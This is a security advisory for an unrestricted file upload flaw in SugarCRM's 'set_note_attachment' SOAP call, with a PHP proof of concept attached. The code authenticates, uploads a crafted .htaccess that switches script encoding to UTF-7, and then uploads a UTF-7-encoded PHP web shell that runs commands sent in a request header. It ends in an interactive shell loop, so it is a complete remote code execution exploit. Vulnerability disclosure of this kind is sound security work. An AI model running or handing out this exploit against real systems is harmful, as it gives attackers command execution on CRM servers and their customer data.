SugarCRM <= 13.0.1 (set_note_attachment) Unrestricted File Upload   
[-] Software Link:  
[-] Affected Versions:  
Version 13.0.1 and prior versions.  
Version 12.0.3 and prior versions.  
[-] Vulnerability Description:  
When handling the "set_note_attachment" SOAP call, the application   
allows uploading of  
any kind of file into /upload/ directory. This one is protected by the   
main SugarCRM  
.htaccess file, i.e. it doesn't allow access/execution of PHP files.   
However, this  
behavior can be overridden if the subdirectory contains another   
.htaccess file.  
So, an attacker can leverage the vulnerability to firstly upload a new   
file and then to upload the PHP code they want to execute.  
[-] Proof of Concept:  
(Packet Storm note: POC included at bottom)  
[-] Solution:  
Upgrade to version 13.0.2, 12.0.4, or later.  
[-] Disclosure Timeline:  
[23/04/2023] - Vendor notified  
[21/09/2023] - Fixed versions released  
[06/10/2023] - CVE identifier requested  
[26/10/2023] - Publication of this advisory  
[-] CVE Reference:  
The Common Vulnerabilities and Exposures project (  
has not assigned a CVE identifier for this vulnerability.  
[-] Credits:  
Vulnerability discovered by Egidio Romano.  
[-] Original Advisory:  
[-] Other References:  
--- KIS-2023-11.php poc ---  
if (!extension_loaded("curl")) die("[+] cURL extension required!\n");  
if ($argc != 4) die("Usage: php $argv[0] <URL> <username> <password>\n");  
list($url, $user, $pass) = [$argv[1], $argv[2], $argv[3]];  
print "[+] Logging in with username '{$user}' and password '{$pass}'\n";  
$ch = curl_init();  
$params = ["username" => $user, "password" => $pass, "grant_type" => "password", "client_id" => "sugar"];  
curl_setopt($ch, CURLOPT_URL, "{$url}rest/v10/oauth2/token");  
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($params));  
curl_setopt($ch, CURLOPT_HTTPHEADER, ["Content-Type: application/json"]);  
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);  
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);  
if (($token = (json_decode(curl_exec($ch)))->access_token) == null) die("[+] Login failed!\n");  
print "[+] Creating new Notes bean (ID: .htaccess)\n";  
$note_id = ".htaccess";  
curl_setopt($ch, CURLOPT_URL, "{$url}rest/v10/Notes");  
curl_setopt($ch, CURLOPT_HTTPHEADER, ["Content-Type: application/json", "OAuth-Token: {$token}"]);  
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode(["id" => $note_id]));  
if (!preg_match("/$note_id/", curl_exec($ch))) die("[+] Bean creation failed!\n");  
print "[+] Creating new Notes bean (ID: sh.php)\n";  
$note_id = "sh.php";  
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode(["id" => $note_id]));  
if (!preg_match("/$note_id/", curl_exec($ch))) die("[+] Bean creation failed!\n");  
$client = new nusoap_client("{$url}soap.php", false);  
if (($err = $client->getError()))  
echo "\nConstructor error: $err";  
echo "\nDebug: " . $client->getDebug() . "\n";  
print "[+] Sending SOAP login request\n";  
$params = ["user_auth" => ["user_name" => $user, "password" => $pass]];  
$session = $client->call('login', $params);  
if ($session['id'] == -1) die("[+] SOAP login failed!\n");  
print "[+] Uploading .htaccess through 'set_note_attachment'\n";  
$htaccess = "RewriteEngine on\nRewriteBase /upload\nRewriteRule ^(.*)$ - [L]\nphp_flag zend.multibyte 1\nphp_value zend.script_encoding \"UTF-7\"";  
$params = ["session" => $session['id'], "note" => ["id" => ".htaccess", "file" => base64_encode($htaccess)]];  
$client->call("set_note_attachment", $params);  
print "[+] Uploading shell through 'set_note_attachment'\n";  
$shell = "+ADw?php passthru(\$_SERVER['HTTP_CMD']); ?>";  
$params = ["session" => $session['id'], "note" => ["id" => "sh.php", "file" => base64_encode($shell)]];  
$client->call("set_note_attachment", $params);  
print "[+] Launching shell\n";  
curl_setopt($ch, CURLOPT_URL, "{$url}upload/sh.php");  
print "\nsugar-shell# ";  
if (($cmd = trim(fgets(STDIN))) == "exit") break;  
curl_setopt($ch, CURLOPT_HTTPHEADER, ["CMD: ".$cmd]);  
($r = curl_exec($ch)) ? print $r : die("\n[+] Exploit failed!\n");